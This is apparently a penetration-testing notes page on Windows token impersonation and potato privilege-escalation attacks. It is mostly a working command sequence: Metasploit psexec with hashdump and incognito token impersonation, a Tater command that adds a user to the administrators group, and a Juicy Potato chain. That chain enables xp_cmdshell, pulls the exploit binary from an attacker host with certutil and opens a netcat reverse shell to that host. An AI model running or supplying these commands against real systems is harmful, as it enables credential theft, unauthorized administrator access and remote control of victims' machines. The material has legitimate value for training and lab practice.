Token Impersonation - Potato attacks
What is it
Token are temp keys that give access to a system or network without credentials.
How to
Launch Metasploit
msfconsole
Choose the exploit:
use exploit/windows/smb/psexec
Set: rhosts, smbdomain, smbpass, smbuser, target (we can use
show targets
to have a list), payloadLaunch the attack:
run
We get a shell:
Getting hashes:
hashdump
Use tools:
load
(double tab to get the list of tools)load incognito
list_tokens -u
Impersonate Administrator:
If we hashdump again it will not work so we can rev2self to get back to the initial user
Any user that has logged in the target will have a token there until the target reboots
Potato Attacks
These attacks requires the
SeImpersonatePrivilege
orSeAssignPrimaryTokenPrivilege
to be enabled on the machine.
Hot potato
We can use Tater
powershell.exe -nop -ep bypass
Import-Module .\Tater.ps1
Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
Your user should be in the administrators group
net localgroup administrators
to checkSee here an example of a potato attack
Juicy potato
Enumeration after initial shell with MSSQL
Say we have a shell on an mssql instance
mssqlclient.py sql_dev@IP-ADD -windows-auth
We can enable command shell using
enable_xp_cmdshell
And then we will be able to type every command we need this way:
xp_cmdshell whoami /priv
We do!
Exploitation
Let's get JuicyPotato binary in our attacking machine
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Let's serve the file to our target using python http server
python3 -m http.server 80
Let's take it in our shell using certutil
xp_cmdshell certutil.exe -urlcache -f http://10.10.14.117/JuicyPotato.exe C:\Tools\JuicyPotato.exe
Let's get an admin shell
xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.117 8443 -e cmd.exe" -t *
where -l is the COM server listening port, -p is the program to launch (cmd.exe), -a is the argument passed to cmd.exe, and -t is the createprocess call. We are trying both the CreateProcessWithTokenW and CreateProcessAsUser functions, which need SeImpersonate or SeAssignPrimaryToken privileges respectively.
Resources
Last updated